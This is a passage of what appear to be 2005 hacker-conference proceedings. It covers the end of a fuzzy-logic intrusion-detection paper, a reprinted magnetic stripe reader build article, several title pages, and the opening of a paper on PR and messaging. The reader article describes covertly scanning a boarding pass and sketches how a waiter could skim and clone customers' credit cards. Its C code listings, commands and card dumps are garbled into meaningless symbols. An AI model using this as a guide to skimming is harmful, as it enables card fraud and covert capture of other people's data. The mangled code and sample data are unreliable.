different from the formerly introduced logical conjunction based approach. Since values of the affiliation 5.2 Fuzzy technologies Fuzzy technologies were often associated with the term fuzzy logic14 which is the most popular application for them. The basic principles of fuzzy logic are the set theory and the logic. The set theory deals with the conjunction of sets and the logic deals with the conjunction of conclusions. A special form of the logic is the Boolean algebra. 14 http://en.wikipedia.org/wiki/Fuzzy logic | 232 5 INTRUSION DETECTION SYSTEMS 5.4 Results and prospects The fuzzy based correlation engine enables one to program large rule sets for known attack schemes. It also has the ability to show a little bit artificial intelligence when rules were programmed unsharp enough to cover generic attack patterns. The output of the correlation engine can be used to feed analysers or trigger instant messaging systems. Also, the techniques of neural networks could help to tune the parameters of the affiliation functions or rating the final result. Figure 4: Examples of affiliation functions 6 Acronyms functions depend on time there must be defined a HDNAS Hybrid Distributed Network Analysis System special point in time which acts as relation point for the rule. A good choice for such a point is a HIDS Host based Intrusion Detection System critical event. In our example this would be the event ”File Change”. Further, the rule must de- IDMEF Intrusion Detection Message Exchange Format scribe types of events that could belong to that event and how likely it is affected by it. IDS Intrusion Detection System In the example shown before there was a buffer overflow detected before the file has changed. As- IETF Internet Engineerung Task Force suming, practical experiences had lead to the conclusion that this particular worm changes the file IPS Intrusion Prevention System in-between 5 seconds after the buffer overflow, one NIDS Network based Intrusion Detection System can construct a related rule (see Figure 3). To avoid misinterpretation if the buffer overflow oc- RFC Request For Comments curred slightly earlier or later, the buffer overflow gets assigned a affiliation function that slowly fades away - for example the Gauss function. Nearly the same thing has to be done for the event ”ICMP Ping”. Since Pings are not as unusual as most of the critical events it is not practical to measure it on one single occurrence. So additionally one could deploy a count function which measures the frequency of the occurrence of the single ”ICMP Ping” events and calculates a single value of them. At the end we get a value in the interval [0, 1] for each type of events addressed by the rule. It expresses the grade of affiliation of the occurred event to the incident. To get a common result for this single values we can use the point-conclusion operator from the likelihood theory. So the single values only need to be multiplied with each other. The result is again a value in the interval [0, 1] which can be used as an indicator for the likelihood the requested attack (incident) has happened. 6 233 | Lyrical I Abschluss des CCC-Poesie-Wettbewerbs Henriette Fiebig, Jens Ohlig, Martin Haase 235 | | 236 Magnetic Stripe Technology Joseph Battaglia 237 |      Joseph Battaglia sephail@sephail.net http://www.sephail.net Originally appearing in 2600 Magazine, Spring 2005 Introduction Good magnetic stripe readers are hard to come by. Most are expensive, only capable of reading one or two tracks, and have inconvenient interfaces. In this article I will describe the process of making an extremely cheap, simple, and reliable single-track reader from parts that are readily available. We will be interfacing the reader to the microphone input of a sound card, which is very convenient for use with most laptops and desktops. I will not be discussing the theory and concepts of magnetic stripe technology and the assumption is made that you are somewhat familiar with the topic. For a simplistic overview of magnetic stripe technology that is easy to read and understand, I recommend that you read the classic article "CardO-Rama: Magnetic Stripe Technology and Beyond" by Count Zero, which can be found quickly by doing a web search for keywords in the title. Materials Below is a list of materials you'll need to construct the reader. - Magnetic head Magnetic heads are extremely common. Discarded cassette tape players contain magnetic heads of almost the exact size needed (the small difference won't matter for our application). Simply obtain a discarded cassette tape player and remove the magnetic head without damaging it. These heads are usually secured with one or two screws which can be useful when building the reader, so don't discard them. - 3.5mm mono phone plug (with 2-conductor wire) You can find this on a discarded monaural earphone or in an electronics store. - Soldering iron with solder Optional: - Wood (or other sturdy material) base to mount magnetic head - Ruler or other straight edge to slide cards on Construction The actual hardware design is incredibly simple. The interface consists of simply connecting the output of the magnetic head directly to the mic input of a sound card. Solder the wire connecting the 3.5mm mono phone plug (base and tip) to the leads of the magnetic stripe head. Polarity does not matter. I recommend that you mount the head in a way that makes it easy to swipe a card over it with a constant velocity. This is where your custom hardware ingenuity comes in. Mount a ruler (or other straight edge) perpendicular to the magnetic head, with the reading solenoid (usually visible as a | 238 MAGNETIC STRIPE TECHNOLOGY black rectangle on the head) at the correct distance from the base for the corresponding track. Track 1 starts at 0.223" from the bottom of the card, Track 2 starts at 0.333", and Track 3 starts at 0.443". Alternatively, you can purchase a surplus reader with no interface (i.e., scrapped or with a cheap TTL interface) and follow the same instructions with the exception that the magnetic head will already be mounted. Most surplus readers come preset to Track 2, although it is usually a simple hardware mod to move it to the track you'd like to read. This will save you the trouble of building a custom swiping mechanism and will also improve the reliability of the reads. There are surplus readers that can be purchased for less than $10 US at various online merchants. Software In this project, the software does all the heavy lifting. The "dab" utility included in this article takes the raw DSP data from your sound card, decodes the FSK (frequency shift keying - a.k.a. Atkin Biphase) modulation from the magnetic stripe, and outputs the binary data. Additionally, you can decode the binary data using the "dmsb" utility to output the ASCII characters and perform an LRC check to verify the integrity of the data, provided that the stripe conforms to the specifications described in ISO 7811, 7813, and optionally ISO 4909 (for the uncommon Track 3). Becoming familiar with these specifications will help you understand the contents of the magnetic stripe when viewing the decoded data. The provided software is more proof-of-concept than production code, and should be treated as such. That said, it does its job well. It is open source and released under the MIT license. Feel free to contribute. Requirements - Linux (or the desire to port to another operating system) - A configured 16-bit sound card - Access to the /dev/dsp device - libsndfile Note that "dab" can also take input from any audio file supported by libsndfile. However, it must be a clean sample that starts at the beginning of the file. This is useful to eliminate the requirement of a sound card and allow samples to be recorded from another device (e.g., an MP3 player/recorder) and decoded at another time. Obtaining dab.c (v0.7)- Decode Atkin Biphase dmsb.c (v0.1)- Decode (standard) Magnetic Stripe Binary Code is available from the Code Listing appendices and http://www.sephail.net/articles/magstripe Compiling Edit any configuration #defines near the top of the dab.c file and proceed to compile the source with the following commands:       239 | Usage        !  "#$ % &%    !  '%' $   (    !   $       ) % * )  % !    $    %          !   $ %%   %        +% +    %%        %      * *     *    !   #  ,  *- * $     Be sure that the mic is set as the recording device for your sound card (using a utility such as aumix or your preferred mixer). Standard usage on the command line with the hardware interfaced directly to the sound card (mic in) will be as follows with standard cards: '.'  Pictures My original reader. With this reader I would use a ruler as a track guide. This way I could not only read the three standard tracks, but also data on non-standard cards, some of which have tracks in odd positions such as through the middle of the card. | 240 MAGNETIC STRIPE TECHNOLOGY My current reader, made of a modified surplus reader which is only capable of reading the three standard tracks. Examples Below are some examples of a few (hopefully) less common cards as to get an idea of the sort of data you're likely to find. Park Inn (Berlin-Alexanderplatz) Door Key Cards /0##1 23&,0'"#'0##4 2, 30&56,#,,60##1#,#7,0,"#,04###,0##########8 20 30&56,#,,60##1#0#7,0,"#,04###,0##########8 /0##6 23&,0'"#'0##4 2, 30&56,#,,60##6#,#,1#0"#,04###,0##########8 20 30&56,#,,60##6#0#,1#0"#,04###,0##########8 SEPTA Monthly TransPass Cards 9 %0##4   ##,41: 30&5#,#,##,,#,#4,,"##4#####,41:8 9 ; 0##"   ##040, 30&5#,#,###1#,#"#1"##"#####040,8 9 ; -0##0   #0<<," 30&5#,#,###,#,#0#,",#0####0<<,"8 Sony Connect Cash Cards 21#"6:,#,#410,,"4617 7#,4 3,&=>1#"6:,#,#410,,"4617??47,0#####4#8 30&51#"6:,#,#410,,"4617@47,0#####4#8 241 | 21#"6:,#,#410,,"00<0 6717 3,&=>1#"6:,#,#410,,"00<0??47,0###<,4:8 30&51#"6:,#,#410,,"00<0@47,0###<,4:8 Starbucks Cards 21#,6#1,"0:,6<401 3,&=>1#,#616#1,"0:,61#,#614640,61"::?##0:'CD2E+C>0>#4?06#,###4####1##,76078 30&51#,#614640,61"::@06#,###4####1##,76078 21#,4640,1"#06:6: 3,&=>1#,#614640,61"::?##0:'CD2E+C>0>#4?06#,###4####1##,76078 30&51#,#614640,1"#0:@06#,###4####1##,6:6:8 Conclusion This project was originally started for the New York City MetroCard decoding project that you may have heard about on Off The Hook. Nearly all commercial readers are unable to dump the raw data as it exists on the MetroCard and, even if they could, they are priced way above our (and most hobbyists') budget limitations. This solution has worked very well for us and can aid you in reverseengineering cards that you may have as well. The "dmsb" application available online can be used for simply decoding standard cards that you have laying around as well. While my construction example demonstrates a fairly straightforward and typical use of a magnetic stripe reader, many other uses can be considered. For instance, since all the data obtained from the reader itself is audio, the device can be interfaced to a digital audio recording device, such as one of the many MP3 (and other codec) player/recorders on the market. You could then set the device to record, interfaced the same way with the magnetic stripe reader, and have a stand-alone reader small enough to fit in your pocket. Later, you'd view and edit the captured audio file, saving the clean waveform to a standard .wav file to be analyzed with "dab" (which, in fact, has this capability). You can even construct the reader in an inconspicuous way, so onlookers would never realize the device's capability. How is this significant? Reading boarding passes with magnetic stripes is a perfect application. These are generally only available in the waiting area of airports. They're issued at check-in and collected when you board, leaving a very small time margin during which the stripe can be scanned. In my case, I had been flagged for additional security and the infamous "SSSS" was printed on my pass. Using my reader, I was able to duck into a bathroom and quickly read the data into my mp3 player/recorder for later analysis. (I discovered a mysterious code on track 2 (normally blank) which read: "C 13190-2******" as well as an "S" at the end of the passenger data on track 1.) But there are other more sinister applications. What if one of the waiters at your favorite restaurant built this device and swiped the card of everyone who pays with credit? From the data obtained, an exact clone of the credit card could be created. Credit card fraud would quickly become out of control if this were commonplace. The same principle could be applied to reverse-engineering an unknown magnetic stripe technology. While individual card samples are often much more difficult to obtain, scanning samples as you obtain them enables you to gather samples at an astonishing rate. This way, supporters can loan you cards to scan on the spot. I have personally used this method for the | 242 MAGNETIC STRIPE TECHNOLOGY MetroCard decoding project and it works extremely well. I could go on and on with more examples of the implications of this sort of design, but I'd like to hear back from the readers as to what other ideas may have been thought up. All feedback is appreciated and, time permitting, all questions will be answered. Hopefully this project makes you realize how certain types of technology are priced way above what they have to be to keep them away from "us" because of the fear of malicious use. I also hope it encourages more projects like this to surface so we can learn about and use technology without the restrictions imposed upon us by big corporations. 243 | Code Listing (dab.c) 'F&A 3 >   ) !CDS(AE/C$5  Y 2 - !$0##40##6;  > G   H    I     5 2    '   Y 9 32   G H01##I CJ  * KG* H  I  'F -  *  -3     -    -     -          *        !L *L$   * -  -   F'    **        *      F)  !F  $     - -        ' W       *      * * F 5     M  *         @) !   !  $Z,$5 % -                 -!   $5              *     5 NC(JA/C/+&C&LALJNJA//AB(ABO&CD/C/ Y 9EC&2E&P>E9C&NCJA//AC(9C/2NAA>EB (C(/AA/2EA//CA&(/PC9CC+CNAEENC AN//2B/PNNE&C/>CEA>EC(/AB2EA9&A9APC/NC/ 'F* 3  EA>EBJNCNC/AA2(2/A2//NC/JCA/P       (/9(/2C2JNNC(JA/C/NCC/NC/&CAEP    NC(JA/C  -    - F' 2   KS)!  % F  KS $ #,! 0##4$ W Q Q    % 5 #0!0##4$  01##92  M  % @!   $5    Q QQQ  !% @@,$W  *R   - L 3 L   !L!$L$5    K       !92 $ ) !CDS(AE/C$5 #"!%0##4$ Y   %     )S %       % 5 #4!&0##4$ Y  )*          #6!&0##4$ 'FFFFFFFFFF     *  FFFFFFFFFF'   %      %           *    !9 32$ #1!; 0##6$ 'FFFFFFFFFF%      FFFFFFFFFF'  )3     %     'F   %  #:!A0##6$    F'  )          !CJ$ %   S%  !(ECF $  W 2     ! L&A 3 >  X L$5       ! L+  = X L+C/$5 F'    ! L2 - !$0##40##6L$5    ! L;  > G   H    IX L$5 Y T  G   I T  G I T  G  I 'F   %     T  G  I     T  G  I )       ) F' T  G  I %   S !(ECF F)$ T  G - '  I W T  G - '  I   S%  ! $5 T  G - ' I    ! LX  = X X L)$5 T  G - '-  I    ! L    X L$5 T  G I    ! L!  =$X LASN/C$5    ! L% &%   X L$5 'FFF   FFF'    ! L!  = $X L&C+2C$5 T &C+2CL'%' L'F    % F'    ! L  (   X L$5 T A9ECS/AC,70###'F    !K$F'    ! L!   $X L$5 T EC2CSN/C6###'F       F'    ! L      X L$5 'FFF    FFF'    ! L) % * )  % X L$5    ! L!    $X L$5 'FT &A>ECS+2F'    ! L   %   X L$5    ! L      X L$5 T ASN/C"#'F    %    S F'    ! L!   $X L$5 T >(SUC,#04'F  KF'    ! L%%   %     X L$5 T C&SECPN0##'F         F' Y T (/CVSN/C1#'F R -  ! $F' T 9ADSC/91#'F        S)S % !$F' 'FFFFFFFFFF %      FFFFFFFFFF' T +C/L#:L'F%  F'  F  @EE5   S K@#5 'FFFFFFFFFF    * 'FFFFFFFFFF  FFFFFFFFFF' 'F -*  -3   K  K-     -F' % F) ! KS K$ W % F 5   @ ! K$5  ! @@EE$W    ! L -X L$5 ) !CDS(AE/C$5 Y    5 Y 'F -*  -3   -   K  K-     -F' % F) !% F  KS K$ W % F 5   @ !  K$5  ! @@EE$W    ! L -X L$5 | 244     FFFFFFFFFF' 'F  %           %    %        F'  S !   % $ W    5   !% $    ! LFFF  %   X L$5  'F   F'  !% $    ! L(A(9S,1SECX L$5  @A(9S,1SEC5  !  ! &2ES&SC(9[ $@@,$W  !L&2ES&SC(9L$5 ) !CDS(AE/C$5 Y  ! \@A(9S,1SEC$W    ! LFFFC&%     A(9S,1SECX L$5 ) !CDS(AE/C$5 Y  'F    F'  !% $    ! L2  ,X L$5 @#5  !  ! &2ES&SC/C[$@@,$W  !L&2ES&SC/CL$5 ) !CDS(AE/C$5 Y  !\@#$W MAGNETIC STRIPE TECHNOLOGY    ! LFFFC&%        X L$5  @#5 ) !CDS(AE/C$5 Y Y Y    @#5 'F   F' Y  !% $ Y    ! L =X LA9ECS/AC$5  @A9ECS/AC5 'FFFFFFFFFF      FFFFFFFFFF'  !  ! &2ES&SCC&[ $@@,$W  !L&2ES&SCC&L$5 ) !CDS(AE/C$5 Y 'FFFFFFFFFF       FFFFFFFFFF'  ! \@A9ECS/AC$    ! LFFFJ N       =X L $5 'F           5 % % -  Y FF  FF   S K      F' &(ECF  S !   % $ 'F   )   %          W       &(ECF  5   S   % F' (S( 5 %   S)S % !     S$  W 'F   F'   5  ![ # K ! $$5      @#5   'F       F'    !L   =   X L9ADSC/9$5   @ S  S ! (9S/CA&[ #$5   !  @@EE$W  ! @#5 G  SF9ADSC/95 ZZ$W    ! LFFFC S  S !$  X L$5  ) !CDS(AE/C$5 'F  F' Y )! [  K !  $$5   'F       F' 'F3  % F'  !% $W  ! G#$    ! LFFF   X L  @ 5 L( = X L  L /= X L 'F      % F' L2  = X L  ! I  $W L(#)=#<)X L    !L9)  % =XL $5 L  = X L   ! $5 L3 = X L   @ 5 ! $          Y         3 $5 Y Y      !LX L$5 'F     F' Y  !   \@,$W    ! LFFFC -      X L$5 ) !CDS(AE/C$5 'F  ) %     Y FF  FF       'F    KF'   S K       F'   S K@   5  % S)!% $  W    5   5 Y   )@#5   ! @#5 G  S K5 ZZ$W 'F       !   I)$   &(EC    S  !$ S  S !$ )@   5 FF  FF Y         S K       F'  )5 % S  !&(ECF  $ Y W  S S 5  'F       %  %     'F -   F'         @) ! K !  $F  S K$5   S     F'  %   S  !     S $ 'F   F' W  @ SS !      S K$5    @#5  ! \@  S K$W     ! LFFFJ ) =   = X L 'F  *   F'   S K! $ $5 * ! G  S $W   S K@ 5  Y 'F  F' Y )! [  K !  $$5  'FFFFFFFFFF       FFFFFFFFFF' 'F  % F'  ! G#$  @ 5 Y 'F  3        Y  RS  R -   FF  FF      'F     *    *       S K       F'       % S 3 S  !  RS    S $   S   %  W   S        @# 3@# 3@#5 FF  FF  F 3 @EE 3 S K@#5       K 5   S K       F'  % S !     S   S $ 'F  % F' W  ! @#5 G  S K5 ZZ$   @# @# 5  !   G#$   5    @   5     S K@#5 'F  3   F'   @#5 'F*    F' * ! G  S K$W   S  !   S $5 'F  3% F'   3@ 35 * !\ $W 'F  3 F' 'F  F' * ! G  S K[[   G@  S $   @) !   K !  $F!>(SUCF! Z,$$$5  ZZ5  ! @#5 G>(SUC5 ZZ$W  3@#5 )! [  K !  $$5 * ! G  S K[[   I  S $W    Z! F>(SUC$@ 5  !   I   3$ Y  3@ 5  ZZ5  ZZ5   S K@ F>(SUC5 Y   ! 3 3I#$W 'F3   F'  3 @) ! 3  K ! $F! 3 S KZ,$$5  @,5  3  3 S K@ 3 35  !  S KI!  SFC&SECPN$',###$W  3 S KZZ5  ! @#5 G!  SFC&SECPN$',###5 ZZ$W Y  @  ! F>(SUC$ ,5 Y  ! G#$   @ 5 'F 3    *    ! I  S $  R -%      RS F' 245 | 'F    * 3     3F'  ! 3 S KG0$W    ! LFFFCX L$5 ) !CDS(AE/C$5 Y K @ 3 05  ! @05 G 3 S K,5 ZZ$W  ! 3  G!!K '0$Z! RS F!K '0$',##$$[[  3  I!!K '0$! RS F!K '0$',##$$$W  ! 3  Z,G!!K '0$Z! RS F!K '0$',##$$[[  3  Z,I!!K '0$! RS F!K '0$',##$$$W    !L,L$5 K @ 3  F05  ZZ5 Y Y  ! 3  G!K Z! RS FK ',##$$[[  3  I!K ! RS FK ',##$$$W    !L#L$5 T  &A>ECS+2 K @ 3  5 T  Y Y    !LX L$5  Y 'F F'  ! F%$ W   5 &(ECF  @EE5  'F   %   F' F  @EE5  S @ASN/C)S % @# S  @#% @,5    S@A9ECS/AC  S @EC2CSN/C5  'F %   F'     S )5         S   @W WL L##QQY WL% L,#QQY WL L,#Q QY WL L##QQY WL) % L##QQY WL  L##Q QY WL  L,#QQY WL%  L##Q%QY W####Y Y5  'F      F' * !,$W  @ S  !%L  %L  S   [   S )$5   !@@,$ 35   * !$W 'F F'  QQ S @ ! $5 35 'F% F'  QQ   @)  ! $5 35 'F F'  Q Q   @)  ! $5  S  @,5 35 'F F'  QQ   S ! %#$5 ) !CDS22C$5 35 'F) % F'  QQ )S % @,5 35 'F  F'  Q Q % @#5 35 'F  F'  QQ S @#5 | 246   S @ ! $5 35 'F%  F'  Q%Q   S%  ! $5 ) !CDS22C$5 35 'F  F'      S ! %#$5 ) !CDS(AE/C$5 35 Y Y  'F  %  F'  !% $W   S%  ! $5    ! LX L$5 Y  'F3        F'  ! S  [[)S % $W    ! LFFFC   *    )\X L$5 ) !CDS(AE/C$5 Y  'F     %    F'  !  @@EE$   @)  !&C+2C$5  'F  %   F'  !% $    ! LFFF  = X L  $5  @  !  S/&EB$5  ! @@,$W  !L  !$L$5 ) !CDS(AE/C$5 Y  'F     %   F'  ! S  $   @  S ! % $5     S@ S ! % $5  'F * )   % F'  !)S % $W   S)S % !   S$5 ) !CDS22C$5 Y  'F  S   -3F'  !\  S $W    ! LFFFC %     X L$5 ) !CDS(AE/C$5 Y  'F  F'  ! S  $ S  !  $5  W  !% $    ! LFFFJ     X L$5 S !   S  S $5 Y  'F  -   F'  !S $   S @S F% S)!$',##5  'F      F'  !% $    ! LFFF    =!=== )$X L   S S $5  'F 3   F' S 3 S  !(/CVSN/C  S $5  'F   F'   ! $5  'F -F'  !  $5  ) !CDS22C$5   #5 Y 'F F' MAGNETIC STRIPE TECHNOLOGY Code Listing (dmsb.c) 'F & !  $9   >    ! L * *     *    L$5     ! L!   #  , X L$5 2 - !$0##4;  > G   H    I    ! L  *- * $   L$5     ! L X L$5    -    -     - Y     *        !L *L$    **        *      'FFFFFFFFFF %      FFFFFFFFFF'     - -        '       *      * *     M  *       'FFFFFFFFFF      FFFFFFFFFF' % -                            * 'F   %         %  NC(JA/C/+&C&LALJNJA//AB(ABO&CD/C/   * - %   F' 9EC&2E&P>E9C&NCJA//AC(9C/2NAA>EB F% S  !F  $ (C(/AA/2EA//CA&(/PC9CC+CNAEENC W AN//2B/PNNE&C/>CEA>EC(/AB2EA9&A9APC/NC/ F  5 EA>EBJNCNC/AA2(2/A2//NC/JCA/P     S  5 (/9(/2C2JNNC(JA/C/NCC/NC/&CAEP  NC(JA/C   S  @   !  $5'F    F'   2  'F -   F'      @) !  S  Z,$5 F'   ! @#5 G  S  5 ZZ$'F%        F'    @    S   ,5 T >(SUC0#4<  T +C/L#,L     S  @QX#Q5'F   F'  T  G I    5'F   F' T  G  I Y T  G  I T  G  I 'FFFFFFFFFF       FFFFFFFFFF' 'FFFFFFFFFF    *  FFFFFFFFFF' 'FFFFFFFFFF  'F -*  -3   K  K-     -F' % F) ! KS K$ W % F 5   @ ! K$5  ! @@EE$W    ! L -X L$5 ) !CDS(AE/C$5 Y    5 Y 'F -*  -3   -   K  K-     -F' % F) !% F  KS K$ W % F 5   @ !  K$5  ! @@EE$W    ! L -X L$5 ) !CDS(AE/C$5 Y    5 Y 'F -  *  -3         * -  -   F)  !F  $ W F 5   @) !   !  $Z,$5   -!   $5    5 Y 'FFFFFFFFFF     *  FFFFFFFFFF' 'FFFFFFFFFF% FFFFFFFFFF'      F' 'F  %        F' %   S%  !(ECF $ W    ! L &!  $9      ! L+  = X L+C/$5    ! L2 - !$0##4;  >  G   H    IX L$5 Y > -X L$5 'F          )       ) F' %   S !(ECF F)$ W   S%  ! $5    ! LX  = X L)$5    ! LX L$5    ! L+% +   X L$5    ! LX L$5    ! L      X L$5    ! L%%   %     X L$5    ! LX L$5     FFFFFFFFFF' 'F  A>A *                  F' F  SA>A!F   $ W FS  F S F SF  5  @W,,#,#Y5'F        E/2       F'     @# M5  'F3 -          F'   @)  !   $5  'F 3      F'  !! S@  !  L,,#,#L$$@@EE$W  !  $5'F   -F'  EE5'F        F' Y  'F  S   !    -$       F'  SZ@65  'F 3      F'  !! S @  !  L,,,,,L$$@@EE$W  !  $5'F   -F'  EE5'F        F' Y 'F    6F' * !!   ! S$   ! S $$=6$'F  F'  !! S @  !ZZ S L,,,,,L$$@@EE$W  !  $5'F   -F'  EE5'F        F' Y   S #@QX#Q5'F  S     F'   S Z@65'F   E/2F'  ! S 6\@QX#Q$'F E/2   -F'  S 6@QX#Q5  'F - S  F' S  @) !!   ! S$'6$Z"$5  S   ZZ@Q5Q5'F     F'  'F    3  -3E/2  S  F' * !   ! S$$W   ! @#M@#5 G45 ZZ$'F3  -F'  ! S @@Q,Q$ MZZ5  !!!M=0$[[ S4@@Q,Q$.. !\!M=0$[[ S4@@Q#Q$$W  !  $5'F   -F'  !S  $5'F S  -F'  EE5'F    -3F' Y    @4<5'F   %    F'   Z@ S#@@Q,Q8,#5   Z@ S,@@Q,Q80#5   Z@ S0@@Q,Q84#5   Z@ S"@@Q,Q8<#5  S   ZZ@  5'FS  F'   ! @#5 G45 ZZ$'F  E/2F'   @  ?! S @@Q,Q$8,#5   SZ@65'F   S )-F' Y  S   ZZ@Q8Q5'F     F' S   @QX#Q5'F S  F'   ! @#5 G45 ZZ$'F  2/2      F' 247 |   @  ?,5   ! @#M@#5 G45 ZZ$'F E/2  - F'  !  $ MZZ5  !\!M=0$$  4@,5    4@#5   ! @#5 G65 ZZ$'F32/2F'  !!  [[ S  @@Q#Q$.. !\  [[ S  @@Q,Q$$W  !  $5'F   -F'  !S  $5'F S  -F'  EE5'F  2/23F' Y   !  $5'F   -F'  S  5 Y  !  $5'F    S  5  Y 'FFFFFFFFFF   -F'     FFFFFFFFFF'  ! F%$ W  >(SUCF FS5  % @#5     S )5          S   @W WL% L##Q+QY WL L##QQY WL%  L##Q%QY W####Y Y5  * !!@ S  !%L+%L  S   [   S )$$ \@,$W 'F  AA *          * !$       W    F'  Q+Q'F% F' F  SAA!F   $ % @,5 W 35 FS  F S F SF  5  QQ'F F'  @W,#,###,Y5'F        E/2     S ! %#$5     F' ) !CDS22C$5     @# M5 35   Q%Q'F%  F' 'F3 -          F'   S%  ! $5   @)  !   $5 ) !CDS22C$5  35 'F 3      F'   'F %    F'  !! S@  !  L,#,###,L$$@@EE$W   S ! %#$5  !  $5'F   -F' ) !CDS(AE/C$5  EE5'F        F' 35 Y Y  Y 'F  S   !    -$        F'  !% $W  SZ@:5   S%  ! $5     ! LJ      X L$5 'F 3      F' Y  !! S @  !  L,,,,,##L$$@@EE$W   !  $5'F   -F'   ! >(SUC  $5'F     F'  EE5'F        F'  Y  !% $W 'F    :F'    ! L-  A>AL$5 * !!   ! S$   ! S $$=:$   ! $5 'F  F' Y  !! S @  !ZZ S L,,,,,##L$$@@EE$W   !  $5'F   -F'   EE5'F        F'  !!S@  SA>A! $$\@EE$W'F-A>AF' Y  !% $W     ! L  X L$5  S #@QX#Q5'F  S     F'    ! LA>A X L$5  Y  S Z@:5'F   E/2F'    !L= X LS$5'F  F'  ! S :\@QX#Q$'F E/2   -F' ) !CDS22C$5  S :@QX#Q5 Y   'F - S  F'  !% $W S  @) !!   ! S$':$Z"$5    ! L%   L$5    ! $5 S   ZZ@Q=Q5'F     F' Y   'F    3  -3E/2   @% S  ! $5'F%    - F' S  F'  * !   ! S$$W  !!S@  SA>A! $$\@EE$W'F-A>AF'   !% $W  ! @#M@#5 G15 ZZ$'F3  -F'    ! L  X L$5  ! S @@Q,Q$    ! LA>A !  % $X L$5 MZZ5 Y  !!!M=0$[[ S1@@Q,Q$..    !L= X LS$5 !\!M=0$[[ S1@@Q#Q$$W ) !CDS22C$5  !  $5'F   -F' Y  !S  $5'F S  -F'   EE5'F    -3F'  !% $ Y    ! L  X L$5     @"05'F   %    F'  !% $W   Z@ S#@@Q,Q8,#5    ! L-  AAL$5   Z@ S,@@Q,Q80#5   ! $5   Z@ S0@@Q,Q84#5 Y   Z@ S"@@Q,Q8<#5    Z@ S4@@Q,Q8,1#5    Z@ S6@@Q,Q8"0#5  !!S@  SAA! $$\@EE$W'F-AAF'   !% $W S   ZZ@  5'FS  F'    ! L  X L$5     ! LAA X L$5  ! @#5 G15 ZZ$'F  E/2F' Y   @  ?! S @@Q,Q$8,#5    !L= X LS$5'F  F'  ) !CDS22C$5  SZ@:5'F   S )-F' Y Y    !% $W S   ZZ@Q8Q5'F     F'    ! L%   L$5 S   @QX#Q5'F S  F'   ! $5  Y  ! @#5 G65 ZZ$'F  2/2      F'    @  ?,5  !!S@  SAA! $$\@EE$W'F-AA* % F'  6@ 6?#5  !% $W     ! L  X L$5  ! @#M@#5 G15 ZZ$'F E/2  - F'    ! LAA !  % $X L$5  !  $ Y MZZ5    !L= X LS$5  !\!M=0$$ ) !CDS22C$5  1@,5 Y     1@#5  !% $     ! L  X L$5  ! @#5 G:5 ZZ$'F32/2F'   !!  [[ S  @@Q#Q$..    !L&    X L$5 !\  [[ S  @@Q,Q$$W   !  $5'F   -F' ) !CDS(AE/C$5  !S  $5'F S  -F'   EE5'F  2/23F'  #5 Y Y  'F  F' | 248 Memory allocator security Yves Younan 249 | | 250 MEMORY ALLOCATOR SECURITY 251 | | 252 MEMORY ALLOCATOR SECURITY 253 | | 254 Message generation at the info layer Basic introduction in coding on unvirtual realities. Ulrich Langer 255 | Message generation at the info layer Basic introduction in coding unvirtual realities Ulrich Langer ulong@liwest.at December 2, 2005 Abstract The ability to shape teh future becomes more and more important for the computing communities. The freedom and openness we enjoy today, that has unleashed many positive aspects to society, culture and commerce, is at stake. Positive and negative examples of the past clearly show that the ability to communicate beyond the borders of different communities is a vital task. The most important hacks in the future are far above all ISO layers. This paper is about a simple model to think about communication and some conclusions. One out of many misguided models but enough to start sharing some basic ideas and providing some tools. | 256 MESSAGE GENERATION AT THE INFO LAYER Contents 1 A warning at the beginning 3 2 Motivation 3 3 Some definitions 3.1 Communication: Messages and Transmissions . . . . . . . . . . . . . . . . . . . 3.2 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 4 4 4 Our model 5 5 Conclusion 5.1 Messages and Items . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2 Primary Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.3 Secondary Message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.4 Subliminals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.5 Messages and Items . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.6 Maintaining lies - Total Cost of Ownership . . . . . . . . . . . . . . . . . . . . . 5 6 6 6 6 6 6 6 Down the rabbit hole 6.1 The profile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Minimal basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.3 Search for mantras . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.4 Private investigations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.5 Usage: Building it all together for PR . . . . . . . . . . . . . . . . . . . . . . . 6.5.1 Building trust . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.5.2 Messages and Campaigns . . . . . . . . . . . . . . . . . . . . . . . . . 6.5.3 Primary and secondary messages . . . . . . . . . . . . . . . . . . . . . . 6.5.4 Advanced Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.6 Recipe for a message . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.6.1 Magical Ws . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.6.2 Lead and Text . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.6.3 Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 7 7 7 7 8 8 8 8 8 9 9 9 9 2 257 | 1 A warning at the beginning There is a fine line between PR and propaganda. This is not about ”information warfare”. What creeps out of some agencies these days hardly deserves the word ”intelligence” and to try a ”war for hearts and minds” is as hopeless as speed seduction, on speed. The most valuable resource for communication is established trust. The ”hacks” are about overcoming communication hassles and establishing trust. 2 Motivation Information technology has developed from a small field to a part of everyday life. It’s been a long time since IT was a playground for technical skilled people with long hairs and beards. With patent office bureaucrats claiming responsibility for the progress in information technology we irrevocably broke trough the dilbertian barrier1 . Years after the e-commerce bubble imploded, information technology is now the root of all evil and also the cure for everything. In absence of visions, politicians replace the dream of service society with knowledge society2 . Many stakeholders, mainly US-based companies3 with music companies on the front, sing-along their slogans and create an illusion based on ignorance and theft4 . Their methods are restriction, surveillance and criminalization5 . With an untrustworthy computing base6 commercial interests behind each piece of iformation and lawyers boobytrapping the net7 , the information society could die at very young age. The freedom of communication is a fundamental building block of the information age. It is the root of personal and commercial freedom and it has unleashed many positive effects for individuals, societies and commercial development. One of our biggest problem is bridging the information gap between those, who have the knowledge and those who decide. Those who have to decide have one major problem: IT issues are complicated and there always will be a liar offering the easy way. This paper is an invitation to look at communication as an adaptable method to transport 